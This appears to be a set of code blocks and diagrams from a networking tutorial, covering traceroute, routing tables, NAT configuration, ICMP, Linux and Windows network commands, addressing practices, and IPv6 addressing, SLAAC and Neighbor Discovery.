1. Send packet with TTL=1
   → First router decrements to 0
   → Router drops packet
   → Router sends ICMP "Time Exceeded"
   → We learn first router IP

2. Send packet with TTL=2
   → First router: TTL=1
   → Second router: TTL=0
   → Second router responds
   → We learn second router IP

3. Send packet with TTL=3
   → Continue until destination reached

Result: Map of all routers in path

Example output:
1  192.168.1.1     2ms
2  10.0.0.1        5ms
3  203.0.113.1     10ms
4  93.184.216.34   15ms (destination)

# Default (UDP probes)
traceroute google.com

# ICMP probes
traceroute -I google.com

# TCP SYN probes to port 80
traceroute -T -p 80 google.com

# Set max hops
traceroute -m 20 google.com

# Send 3 probes per hop (default)
traceroute -q 3 google.com

# ICMP probes (Windows default)
tracert google.com

# Set max hops
tracert -h 20 google.com

# Don't resolve addresses to hostnames
tracert -d google.com

1. Determine if destination is local:
   - Perform bitwise AND of dest IP and subnet mask
   - Compare with local network address

   Example:
   Local IP: 192.168.1.100/24
   Dest IP:  192.168.1.50

   192.168.1.50 AND 255.255.255.0 = 192.168.1.0 (matches local network)
   → Send directly via ARP

2. If destination is remote:
   - Search routing table for matching route
   - Use longest prefix match algorithm
   - Forward to gateway for that route

3. If no specific route matches:
   - Use default gateway (0.0.0.0/0)

4. If no default gateway:
   - Destination unreachable error

Destination     Gateway         Netmask         Interface   Metric
0.0.0.0         192.168.1.1     0.0.0.0         eth0        100    (Default route)
10.0.0.0        192.168.1.254   255.0.0.0       eth0        10     (Static route)
192.168.1.0     0.0.0.0         255.255.255.0   eth0        0      (Connected)
192.168.2.0     192.168.1.200   255.255.255.0   eth0        20     (Static route)
172.16.0.0      192.168.1.254   255.255.0.0     eth0        15     (Static route)

Packet destination: 10.1.2.5

Routing table:
  0.0.0.0/0       → Gateway A    (Default route)
  10.0.0.0/8      → Gateway B    (Matches!)
  10.1.0.0/16     → Gateway C    (Matches! More specific)
  10.1.2.0/24     → Gateway D    (Matches! Most specific)
  192.168.1.0/24  → Local        (No match)

Longest Prefix Match Algorithm:
- All routes compared
- Most specific match wins (/24 > /16 > /8 > /0)
- Forward to Gateway D

# Linux - traditional
route -n
netstat -rn

# Linux - modern
ip route show
ip route list

# Windows
route print
netstat -r

# Example output (Linux):
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    100    0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0

Problem: IPv4 Address Exhaustion
- Only ~4.3 billion addresses
- Internet growth exceeded availability
- Need to conserve public IP addresses

Solution: NAT
- Private network uses private IPs (10.x, 172.16-31.x, 192.168.x)
- Single public IP shared by many devices
- Router translates between private and public

Private Network (192.168.1.0/24)
┌──────────────────────────────┐
│  PC1: 192.168.1.10           │
│  PC2: 192.168.1.11           │──→  NAT Router  ──→  Internet
│  PC3: 192.168.1.12           │     (Translates)      Public IP: 203.0.113.5
└──────────────────────────────┘

Outbound:
PC1 (192.168.1.10:5000) → NAT → Internet as (203.0.113.5:6000)

Inbound:
Internet → (203.0.113.5:6000) → NAT → PC1 (192.168.1.10:5000)

NAT maintains translation table to track connections

One private IP ↔ One public IP

Configuration:
Private: 192.168.1.10  ↔  Public: 203.0.113.10
Private: 192.168.1.11  ↔  Public: 203.0.113.11

Use case:
- Web servers
- Mail servers
- Devices that need incoming connections

Multiple private IPs ↔ Pool of public IPs

Configuration:
Private: 192.168.1.0/24
Public pool: 203.0.113.10 - 203.0.113.20

Connection:
PC1 (192.168.1.10) → Gets 203.0.113.10
PC2 (192.168.1.11) → Gets 203.0.113.11
PC3 (192.168.1.12) → Gets 203.0.113.12

When PC1 disconnects, 203.0.113.10 returns to pool

Many private IPs ↔ Single public IP (different ports)

Translation table:
Internal IP:Port      External IP:Port    Remote IP:Port
192.168.1.10:5000  →  203.0.113.5:6000 →  8.8.8.8:53
192.168.1.11:5001  →  203.0.113.5:6001 →  1.1.1.1:443
192.168.1.12:5002  →  203.0.113.5:6002 →  93.184.216.34:80
192.168.1.10:5003  →  203.0.113.5:6003 →  142.250.185.46:443

Note: Same internal IP can have multiple external ports

Configuration:
External: 203.0.113.5:80   → Internal: 192.168.1.20:80  (Web)
External: 203.0.113.5:443  → Internal: 192.168.1.20:443 (HTTPS)
External: 203.0.113.5:22   → Internal: 192.168.1.25:22  (SSH)
External: 203.0.113.5:3389 → Internal: 192.168.1.30:3389 (RDP)

Internet request to 203.0.113.5:80
→ Router forwards to 192.168.1.20:80
→ Web server responds
→ Router translates source back to 203.0.113.5:80

Protocol  Inside Local      Inside Global     Outside Local     Outside Global
TCP       192.168.1.10:5000 203.0.113.5:6000  8.8.8.8:53        8.8.8.8:53
TCP       192.168.1.11:5001 203.0.113.5:6001  1.1.1.1:443       1.1.1.1:443
TCP       192.168.1.10:5002 203.0.113.5:6002  93.184.216.34:80  93.184.216.34:80

Terminology:
- Inside Local: Private IP (before NAT)
- Inside Global: Public IP (after NAT)
- Outside Local: Remote IP (before NAT)
- Outside Global: Remote IP (after NAT)

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Basic NAT (masquerade)
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Or with specific IP
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 203.0.113.5

# Port forwarding
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 \
  -j DNAT --to-destination 192.168.1.20:80

# View NAT table
iptables -t nat -L -v

! Enable NAT
interface GigabitEthernet0/0
  ip nat outside

interface GigabitEthernet0/1
  ip nat inside

! NAT overload (PAT)
ip nat inside source list 1 interface GigabitEthernet0/0 overload
access-list 1 permit 192.168.1.0 0.0.0.255

! Port forwarding
ip nat inside source static tcp 192.168.1.20 80 203.0.113.5 80

! View NAT translations
show ip nat translations
show ip nat statistics

1. Breaks end-to-end connectivity
   - Some protocols don't work (FTP active mode, SIP, H.323)
   - Requires ALG (Application Layer Gateway) for some apps

2. Performance overhead
   - Translation takes CPU time
   - Maintains state tables

3. Complicates peer-to-peer
   - NAT traversal techniques needed (STUN, TURN, ICE)

4. Hides internal topology
   - All traffic appears from one IP
   - Makes troubleshooting harder

5. Limited by port numbers
   - 65,535 ports per public IP
   - In practice, ~4000 concurrent connections

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Code      |          Checksum             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|                         Message Body                          |
|                         (varies by type)                      |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Client                          Server
  |                                |
  | ICMP Echo Request (Type 8)     |
  |   Identifier: 1234             |
  |   Sequence: 1                  |
  |   Data: 56 bytes               |
  |------------------------------->|
  |                                |
  | ICMP Echo Reply (Type 0)       |
  |   Identifier: 1234             |
  |   Sequence: 1                  |
  |   Data: 56 bytes (echoed)      |
  |<-------------------------------|
  |                                |

Round-Trip Time (RTT) measured

# Basic ping
ping 8.8.8.8

# Send specific number of packets
ping -c 4 8.8.8.8

# Set packet size
ping -s 1000 8.8.8.8

# Set interval (0.2 seconds)
ping -i 0.2 8.8.8.8

# Flood ping (requires root)
sudo ping -f 8.8.8.8

# Set TTL
ping -t 5 8.8.8.8

# Disable DNS resolution
ping -n 8.8.8.8

# Example output:
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=10.2 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=117 time=9.8 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=117 time=10.1 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 9.8/10.0/10.2/0.2 ms

Traceroute sends packets with increasing TTL:

Packet 1: TTL=1
  → Router 1 decrements to 0
  → Router 1 sends ICMP Type 11 (Time Exceeded)
  → Reveals Router 1 IP

Packet 2: TTL=2
  → Router 1: TTL=1
  → Router 2: TTL=0
  → Router 2 sends ICMP Type 11
  → Reveals Router 2 IP

Packet N: TTL=N
  → Destination reached
  → Sends ICMP Type 3 (Port Unreachable) or Echo Reply
  → Traceroute completes

# View IP configuration (old style)
ifconfig

# View IP configuration (modern)
ip addr show
ip a

# Show specific interface
ip addr show eth0

# Assign IP address (temporary)
sudo ip addr add 192.168.1.100/24 dev eth0

# Remove IP address
sudo ip addr del 192.168.1.100/24 dev eth0

# Enable interface
sudo ip link set eth0 up

# Disable interface
sudo ip link set eth0 down

# Show interface statistics
ip -s link show eth0

# View IP configuration
ipconfig

# View detailed configuration
ipconfig /all

# Renew DHCP lease
ipconfig /renew

# Release DHCP lease
ipconfig /release

# Flush DNS cache
ipconfig /flushdns

# Display DNS cache
ipconfig /displaydns

# Show routing table
ip route show
ip route list

# Add static route
sudo ip route add 10.0.0.0/8 via 192.168.1.254

# Add route via specific interface
sudo ip route add 10.0.0.0/8 dev eth0

# Delete route
sudo ip route del 10.0.0.0/8

# Add default gateway
sudo ip route add default via 192.168.1.1

# Delete default gateway
sudo ip route del default

# Change route
sudo ip route change 10.0.0.0/8 via 192.168.1.253

# Show route to specific destination
ip route get 8.8.8.8

# Linux - show routing table
route -n

# Linux - add route
sudo route add -net 10.0.0.0/8 gw 192.168.1.254

# Linux - delete route
sudo route del -net 10.0.0.0/8

# Windows - show routing table
route print

# Windows - add route
route add 10.0.0.0 mask 255.0.0.0 192.168.1.254

# Windows - delete route
route delete 10.0.0.0

# Windows - add persistent route
route -p add 10.0.0.0 mask 255.0.0.0 192.168.1.254

# View ARP cache
arp -a

# View ARP cache for specific interface (Linux)
arp -i eth0

# Add static ARP entry (Linux)
sudo arp -s 192.168.1.50 00:11:22:33:44:55

# Delete ARP entry (Linux)
sudo arp -d 192.168.1.50

# View ARP cache (modern Linux)
ip neigh show

# Delete ARP entry (modern Linux)
sudo ip neigh del 192.168.1.50 dev eth0

Plan network hierarchy:

Organization: 10.0.0.0/8
├── Location A: 10.1.0.0/16
│   ├── Servers: 10.1.1.0/24
│   ├── Workstations: 10.1.2.0/24
│   └── Guests: 10.1.3.0/24
├── Location B: 10.2.0.0/16
│   ├── Servers: 10.2.1.0/24
│   └── Workstations: 10.2.2.0/24
└── Management: 10.255.0.0/16
    ├── Network Devices: 10.255.1.0/24
    └── Out-of-band: 10.255.2.0/24

Benefits:
- Logical organization
- Summarization for routing
- Security segmentation
- Growth flexibility

Reserve ranges within each subnet:

Example subnet: 192.168.1.0/24

192.168.1.0         Network address (reserved)
192.168.1.1         Gateway (router)
192.168.1.2-10      Infrastructure (switches, APs)
192.168.1.11-50     Servers (static)
192.168.1.51-99     Printers/IoT (static)
192.168.1.100-254   DHCP pool (dynamic)
192.168.1.255       Broadcast address (reserved)

Document everything in IPAM (IP Address Management) system

ALWAYS use private IPs internally:

Small networks:    192.168.x.0/24
Medium networks:   172.16.x.0/16 to 172.31.x.0/16
Large networks:    10.0.0.0/8

NEVER use:
- Public IPs internally (causes routing issues)
- TEST-NET ranges (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24)
- Multicast ranges (224.0.0.0/4)

Maintain detailed documentation:

Network Diagram:
- Physical topology
- Logical topology
- IP addressing scheme
- VLAN assignments

Spreadsheet/IPAM:
IP Address    | Hostname    | MAC Address       | Type   | Notes
192.168.1.1   | gateway     | 00:11:22:33:44:55 | Router | Primary gateway
192.168.1.10  | server1     | 00:11:22:33:44:66 | Server | Web server
192.168.1.11  | server2     | 00:11:22:33:44:77 | Server | Database
192.168.1.50  | printer1    | 00:11:22:33:44:88 | Printer| HP LaserJet

DHCP best practices:

- Appropriate lease time:
  * Office: 8-24 hours
  * Guest: 1-4 hours
  * Mobile: 30-60 minutes

- Reserve space for static IPs

- Configure DHCP options:
  * Option 3: Default gateway
  * Option 6: DNS servers
  * Option 15: Domain name
  * Option 42: NTP servers

- Redundant DHCP servers (split scope or failover)

- Monitor DHCP scope utilization

Security measures:

1. Subnetting for segmentation
   - Separate user, server, management networks
   - Use VLANs

2. Private IPs + NAT
   - Hide internal topology
   - Conserve public IPs

3. Disable unused services
   - No ICMP redirect
   - No source routing

4. Ingress/egress filtering
   - Block spoofed source IPs
   - RFC 3330 filtering

5. Monitor for IP conflicts
   - Detect ARP spoofing
   - DHCP snooping

Prevention:

1. Use DHCP for workstations
2. Static IPs for servers/infrastructure
3. Document all static assignments
4. Configure DHCP exclusions for static range
5. Use DHCP reservations for semi-static hosts
6. Enable IP conflict detection

Detection:
- arping before assigning static IP
- Monitor DHCP logs
- Use network scanning tools
- Enable DHCP conflict detection

Each number is 0-255 (256 possibilities)
256 × 256 × 256 × 256 = 4.3 billion addresses

Problem: We almost ran out!
- Too many computers, phones, tablets
- Solution: NAT (share one public address)
- Future: IPv6 (way more addresses)

Private IPs (like apartment numbers):
- 192.168.x.x (home networks)
- 10.x.x.x (big companies)
- Only work inside your building (network)

Public IPs (like street addresses):
- Work on the internet
- Must be unique worldwide
- Expensive and limited

Like organizing streets into neighborhoods:

City: 10.0.0.0/8 (whole city)
  └─ Neighborhood: 10.1.0.0/16 (one area)
      └─ Street: 10.1.1.0/24 (one street)
          └─ House: 10.1.1.100 (your house)

/24 means: First 3 numbers are the "street", last number is your "house number"

Your home:
- Router has public IP: 203.0.113.5 (street address)
- Devices have private IPs: 192.168.1.x (apartment numbers)
- Router is like mailroom: forwards mail to right apartment

Routers are like mail sorting facilities:
- Look at destination address
- Decide which direction to send packet
- Pass to next router
- Repeat until destination reached

1. Vast Address Space
   - 340 undecillion addresses
   - Every grain of sand on Earth could have billions of IPs
   - No more address exhaustion

2. Simplified Header
   - Fixed 40-byte header (no options)
   - Faster processing by routers
   - Extension headers for optional features

3. Auto-Configuration
   - SLAAC: hosts configure themselves
   - No DHCP required (though DHCPv6 available)
   - Plug-and-play networking

4. Built-in Security
   - IPSec mandatory
   - Authentication and encryption
   - Better privacy features

5. Better Routing
   - Hierarchical addressing
   - Smaller routing tables
   - More efficient routing

6. No NAT Required
   - Every device gets public address
   - True end-to-end connectivity
   - Simplifies protocols (VoIP, gaming, P2P)

7. Multicast Improvements
   - No broadcast (more efficient)
   - Built-in multicast support
   - Scope-based addressing

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| Traffic Class |           Flow Label                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Payload Length        |  Next Header  |   Hop Limit   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                                                               +
|                                                               |
+                         Source Address                        +
|                          (128 bits)                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                                                               +
|                                                               |
+                      Destination Address                      +
|                          (128 bits)                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                       Extension Headers                       +
|                         (if present)                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                           Payload                             +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Removed from IPv4:
- Header Length (IHL): Fixed at 40 bytes
- Identification, Flags, Fragment Offset: Moved to extension header
- Header Checksum: Redundant (link and transport layers handle it)
- Options: Replaced by extension headers

Added to IPv6:
- Flow Label: QoS identification

Renamed:
- TTL → Hop Limit
- Protocol → Next Header
- Type of Service → Traffic Class

2001:0db8:0000:0042:0000:8a2e:0370:7334

Structure:
- 8 groups of 4 hexadecimal digits
- Separated by colons
- Each group = 16 bits
- Total: 128 bits

Original:
2001:0db8:0000:0042:0000:8a2e:0370:7334

After removing leading zeros:
2001:db8:0:42:0:8a2e:370:7334

Each group can have 1-4 hex digits

Before: 2001:db8:0:42:0:8a2e:370:7334
After:  2001:db8:0:42::8a2e:370:7334

Before: 2001:db8:0:0:0:0:0:1
After:  2001:db8::1

Before: 0:0:0:0:0:0:0:1
After:  ::1  (loopback)

Before: 0:0:0:0:0:0:0:0
After:  ::  (unspecified)

IMPORTANT: Can only use :: once per address
(otherwise ambiguous which zeros are compressed)

::                        Unspecified address
                          (0.0.0.0 in IPv4)
                          Used before address is configured

::1                       Loopback address
                          (127.0.0.1 in IPv4)
                          Local host communication

::ffff:192.0.2.1          IPv4-mapped IPv6 address
                          Used for IPv4/IPv6 compatibility
                          Last 32 bits contain IPv4 address

2001:db8::/32             Documentation prefix
                          Reserved for examples (TEST-NET)

fe80::/10                 Link-local prefix
                          Auto-configured on every interface

ff00::/8                  Multicast prefix

Prefix: 2000::/3 (2000:0000 to 3fff:ffff)

Routable on the Internet (like public IPv4)

Format:
|    48 bits     | 16 bits |        64 bits        |
| Global Routing | Subnet  |    Interface ID       |
| Prefix         | ID      |                       |

Example:
2001:0db8:1234:0001:0000:0000:0000:0001
|-- Global --||Sub||--- Interface ID ---|

Typically:
- ISP assigns /48 or /56 to customer
- Customer has 65,536 (/48) or 256 (/56) subnets
- Each subnet is /64 with 2^64 addresses

Prefix: fc00::/7 (fc00:: to fdff::)

Private addressing (like RFC 1918 in IPv4)
Not routed on public internet

Format:
fd00::/8 is used (fc00::/8 reserved for future)

|  8 bits | 40 bits  | 16 bits |    64 bits     |
|  fd     | Random   | Subnet  | Interface ID   |
|  prefix | Global   | ID      |                |
|         | ID       |         |                |

Example:
fd12:3456:789a:0001::1

Generation:
- fd prefix
- 40-bit random number (cryptographically generated)
- Ensures uniqueness even if networks merge

Prefix: fe80::/10

Automatically configured on every IPv6-enabled interface
Only valid on the local link (not routed)
Like IPv4 169.254.0.0/16 (APIPA)

Format:
fe80::interface-id/64

Examples:
fe80::1
fe80::20c:29ff:fe9d:8c6a

Uses:
- Neighbor Discovery Protocol (NDP)
- Router discovery
- Address autoconfiguration
- Local communication

Always present, even if GUA configured

Address assigned to multiple interfaces
Packet delivered to nearest one (by routing metric)

Use cases:
- Load balancing
- Service discovery
- Root DNS servers (6 of 13 use anycast)

Same format as unicast (no special prefix)
Designated as anycast during configuration

Example:
Anycast: 2001:db8::1 assigned to 3 servers
Client sends to 2001:db8::1
Routers deliver to nearest server

Prefix: ff00::/8

Replaces broadcast in IPv4
Packet delivered to all members of multicast group

Format:
|   8 bits   |  4 bits | 4 bits |       112 bits        |
|    ff      |  Flags  | Scope  |      Group ID         |

Flags (4 bits):
0000 = Permanent (well-known)
0001 = Temporary (transient)

Scope (4 bits):
1 = Interface-local
2 = Link-local
5 = Site-local
8 = Organization-local
e = Global

Well-Known Multicast:

ff02::1                   All nodes on link
                          (Like 255.255.255.255 broadcast)

ff02::2                   All routers on link

ff02::1:2                 All DHCP servers/relays on link

ff02::1:ff00:0/104        Solicited-node multicast
                          Used in Neighbor Discovery

ff05::1:3                 All DHCP servers (site-local)

Solicited-Node Multicast:
Format: ff02::1:ff[last 24 bits of address]

Example:
Address: 2001:db8::1234:5678
Solicited-node: ff02::1:ff34:5678

Purpose: Efficient address resolution (NDP)

IPv4 broadcast → IPv6 multicast

IPv4: 192.168.1.255 (broadcast to all)
IPv6: ff02::1 (all-nodes multicast)

Benefits:
- More efficient (only interested hosts listen)
- Reduces network noise
- Scalable

MAC Address: 00:1A:2B:3C:4D:5E

Step 1: Split in half
  00:1A:2B  :  3C:4D:5E

Step 2: Insert FF:FE in middle
  00:1A:2B:FF:FE:3C:4D:5E

Step 3: Flip 7th bit (Universal/Local bit)
  00 → 02 (in binary: 00000000 → 00000010)

Result: 02:1A:2B:FF:FE:3C:4D:5E

Step 4: Format as IPv6 interface ID
  021a:2bff:fe3c:4d5e

Full address:
  2001:db8:1234:5678:021a:2bff:fe3c:4d5e

Privacy concern: MAC address visible in IP
Solution: Privacy Extensions (RFC 4941)

Problem: EUI-64 exposes MAC address
         Allows tracking of devices

Solution: Random interface IDs
- Generated randomly
- Changed periodically (typically daily)
- Temporary addresses for outgoing connections

Example:
Stable:    2001:db8::21a:2bff:fe3c:4d5e  (EUI-64, for incoming)
Temporary: 2001:db8::a4b2:76d9:3e21:91f8 (random, for outgoing)

Benefits:
- Privacy protection
- Harder to track users
- Still allows stable addressing for servers

Why /64?

1. SLAAC requires /64
   - 64-bit prefix + 64-bit interface ID

2. Massive address space per subnet
   - 2^64 = 18,446,744,073,709,551,616 addresses
   - 18.4 quintillion addresses per subnet!
   - Will never run out

3. Standard recommendation
   - RFC 4291, RFC 5375

Even point-to-point links should use /64
(not /127 like IPv4 /30)

ISP allocates: 2001:db8::/32

Customer (Enterprise):
Receives: 2001:db8:abcd::/48

|       32 bits       | 16 bits | 16 bits |     64 bits      |
| ISP Prefix          | Customer| Subnet  | Interface ID     |
| 2001:db8            | abcd    | 0-ffff  |                  |

Customer has 2^16 = 65,536 subnets:
2001:db8:abcd:0000::/64
2001:db8:abcd:0001::/64
2001:db8:abcd:0002::/64
...
2001:db8:abcd:ffff::/64

Each subnet has 2^64 addresses

Organization: 2001:db8:abcd::/48

Building 1: 2001:db8:abcd:0100::/56
  Floor 1: 2001:db8:abcd:0101::/64
  Floor 2: 2001:db8:abcd:0102::/64
  Floor 3: 2001:db8:abcd:0103::/64

Building 2: 2001:db8:abcd:0200::/56
  Floor 1: 2001:db8:abcd:0201::/64
  Floor 2: 2001:db8:abcd:0202::/64

Servers: 2001:db8:abcd:1000::/56
  Web: 2001:db8:abcd:1001::/64
  Database: 2001:db8:abcd:1002::/64
  Email: 2001:db8:abcd:1003::/64

Benefits:
- Logical organization
- Easy summarization
- Simplified routing
- Room for growth

Process:

1. Link-Local Address Generation
   Host creates link-local address (fe80::)
   Interface ID from EUI-64 or random

2. Duplicate Address Detection (DAD)
   Sends Neighbor Solicitation for its own address
   If no response → address is unique

3. Router Solicitation (RS)
   Host sends multicast RS to ff02::2 (all routers)
   "Are there any routers?"

4. Router Advertisement (RA)
   Router responds with:
   - Network prefix (e.g., 2001:db8:1234:5678::/64)
   - Default gateway address
   - DNS servers (if configured)
   - Other configuration flags

5. Global Address Formation
   Host combines:
   - Prefix from RA (2001:db8:1234:5678)
   - Interface ID (021a:2bff:fe3c:4d5e)
   - Result: 2001:db8:1234:5678:021a:2bff:fe3c:4d5e

6. DAD for Global Address
   Verify global address is unique

7. Ready!
   Host has link-local and global address
   No DHCP server needed!

Flags in RA:
- M (Managed): Use DHCPv6 for addresses
- O (Other): Use DHCPv6 for other info (DNS, NTP, etc.)

Stateful DHCPv6:
- Like DHCPv4
- Server assigns addresses
- Tracks assignments
- Use when: Need centralized control

Stateless DHCPv6:
- SLAAC for address
- DHCPv6 for other info (DNS, domain, etc.)
- Use when: Need SLAAC + additional config

DHCPv6 Messages:
- SOLICIT: Client requests address
- ADVERTISE: Server offers address
- REQUEST: Client accepts offer
- REPLY: Server confirms

Multicast addresses:
- ff02::1:2 - All DHCP servers/relays on link
- ff05::1:3 - All DHCP servers (site-local)

Router configuration (Linux):
# Enable IPv6 forwarding
net.ipv6.conf.all.forwarding = 1

# radvd configuration
interface eth0 {
    AdvSendAdvert on;
    prefix 2001:db8:1234:5678::/64 {
        AdvOnLink on;
        AdvAutonomous on;
    };
    RDNSS 2001:4860:4860::8888 {
    };
};

This advertises:
- Prefix: 2001:db8:1234:5678::/64
- DNS: 2001:4860:4860::8888 (Google DNS)
- Clients auto-configure themselves

1. Router Discovery
   - Find routers on link
   - Get network prefix

2. Address Resolution
   - Map IPv6 address to MAC address
   - Replaces ARP

3. Duplicate Address Detection (DAD)
   - Verify address uniqueness

4. Neighbor Unreachability Detection
   - Monitor neighbor reachability

5. Redirect
   - Inform hosts of better next hop

Type 133: Router Solicitation (RS)
  Sent by: Host
  To: ff02::2 (all routers)
  Purpose: "Are there routers here?"

Type 134: Router Advertisement (RA)
  Sent by: Router
  To: ff02::1 (all nodes) or unicast
  Purpose: "Here's my prefix and config"

Type 135: Neighbor Solicitation (NS)
  Sent by: Host
  To: Solicited-node multicast
  Purpose: "Who has this IPv6 address?" (like ARP request)
           "Is anyone using this address?" (DAD)

Type 136: Neighbor Advertisement (NA)
  Sent by: Host
  To: Unicast or ff02::1
  Purpose: "I have this IPv6 address" (like ARP reply)
           "I'm using this address" (DAD response)

Type 137: Redirect
  Sent by: Router
  To: Unicast (specific host)
  Purpose: "Use different router for this destination"

Host A wants to communicate with Host B:

Host A: 2001:db8::1
Host B: 2001:db8::2
Host B MAC: 00:11:22:33:44:55

1. Host A sends Neighbor Solicitation (NS):
   From: 2001:db8::1
   To: ff02::1:ff00:2 (solicited-node multicast for ::2)
   Question: "What's the MAC address of 2001:db8::2?"

2. Host B receives NS (listening on solicited-node multicast)

3. Host B sends Neighbor Advertisement (NA):
   From: 2001:db8::2
   To: 2001:db8::1 (unicast reply)
   Answer: "My MAC is 00:11:22:33:44:55"

4. Host A caches: 2001:db8::2 → 00:11:22:33:44:55

5. Host A sends packet directly to Host B

Neighbor cache entry:
2001:db8::2  dev eth0  lladdr 00:11:22:33:44:55  REACHABLE

Before using any address:

1. Node creates address:
   - Link-local: fe80::1
   - Or global: 2001:db8::1

2. Node sends Neighbor Solicitation:
   From: :: (unspecified address)
   To: ff02::1:ff00:1 (solicited-node multicast)
   Target: fe80::1 (address being tested)
   Question: "Is anyone using fe80::1?"

3. Wait 1 second:
   - If NA received → Address in use (conflict!)
   - If no response → Address is unique ✓

4. If unique:
   - Mark address as valid
   - Start using it

If conflict detected:
- Link-local conflict: Generate new interface ID
- Global conflict: Manual intervention required

Next Header values:

0   = Hop-by-Hop Options (must be first if present)
43  = Routing Header
44  = Fragment Header
50  = Encapsulating Security Payload (ESP)
51  = Authentication Header (AH)
60  = Destination Options
59  = No Next Header (no more headers)
6   = TCP
17  = UDP
58  = ICMPv6

Base IPv6 Header
  Next Header = 43 (Routing)
  ↓
Routing Header
  Next Header = 44 (Fragment)
  ↓
Fragment Header
  Next Header = 60 (Destination Options)
  ↓
Destination Options Header
  Next Header = 6 (TCP)
  ↓
TCP Header and Data

Recommended order (RFC 2460):
1. IPv6 base header
2. Hop-by-Hop Options
3. Destination Options (for intermediate destinations)
4. Routing
5. Fragment
6. Authentication (AH)
7. Encapsulating Security Payload (ESP)
8. Destination Options (for final destination)
9. Upper layer (TCP, UDP, ICMPv6, etc.)

Fragmentation only at source (not routers!)

Format:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Next Header  |   Reserved    |      Fragment Offset    |Res|M|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Identification                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Next Header: Protocol after reassembly
Fragment Offset: Position in original packet (8-byte units)
M flag: More Fragments (1 = more, 0 = last)
Identification: Groups fragments together

Process:
1. Source tests path MTU
2. If packet > MTU, source fragments
3. Router that cannot forward sends ICMPv6 "Packet Too Big"
4. Source reduces packet size or fragments
5. Destination reassembles

Note: Routers never fragment!

Error Messages:

1   Destination Unreachable
    Code 0: No route to destination
    Code 1: Communication with destination administratively prohibited
    Code 3: Address unreachable
    Code 4: Port unreachable

2   Packet Too Big
    Used for Path MTU Discovery
    Includes MTU of next hop

3   Time Exceeded
    Code 0: Hop limit exceeded in transit
    Code 1: Fragment reassembly time exceeded

4   Parameter Problem
    Code 0: Erroneous header field
    Code 1: Unrecognized Next Header type

Informational Messages:

128 Echo Request (ping)
129 Echo Reply (ping response)

Neighbor Discovery (part of ICMPv6):

133 Router Solicitation
134 Router Advertisement
135 Neighbor Solicitation
136 Neighbor Advertisement
137 Redirect

Multicast Listener Discovery:

130 Multicast Listener Query
131 Multicast Listener Report
132 Multicast Listener Done

# Basic ping
ping6 2001:4860:4860::8888

# Ping link-local (must specify interface)
ping6 fe80::1%eth0

# Set packet size
ping6 -s 1000 2001:4860:4860::8888

# Set hop limit
ping6 -t 5 2001:4860:4860::8888

# Example output:
PING 2001:4860:4860::8888(2001:4860:4860::8888) 56 data bytes
64 bytes from 2001:4860:4860::8888: icmp_seq=1 ttl=118 time=10.2 ms
64 bytes from 2001:4860:4860::8888: icmp_seq=2 ttl=118 time=9.9 ms

--- 2001:4860:4860::8888 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 9.900/10.050/10.200/0.150 ms

IPv6 requires source to fragment:

1. Source sends large packet (1500 bytes)

2. Router with smaller MTU (1400 bytes):
   - Cannot fragment (not allowed in IPv6)
   - Drops packet
   - Sends ICMPv6 Type 2 "Packet Too Big"
   - Includes MTU value (1400)

3. Source receives ICMPv6:
   - Reduces packet size to 1400
   - Retransmits

4. Success!
   - Source caches PMTU for destination
   - Uses smaller packets for this destination

Benefits:
- No fragmentation overhead at routers
- Better performance
- Source controls fragmentation

# View IPv6 addresses
ip -6 addr show
ip -6 a

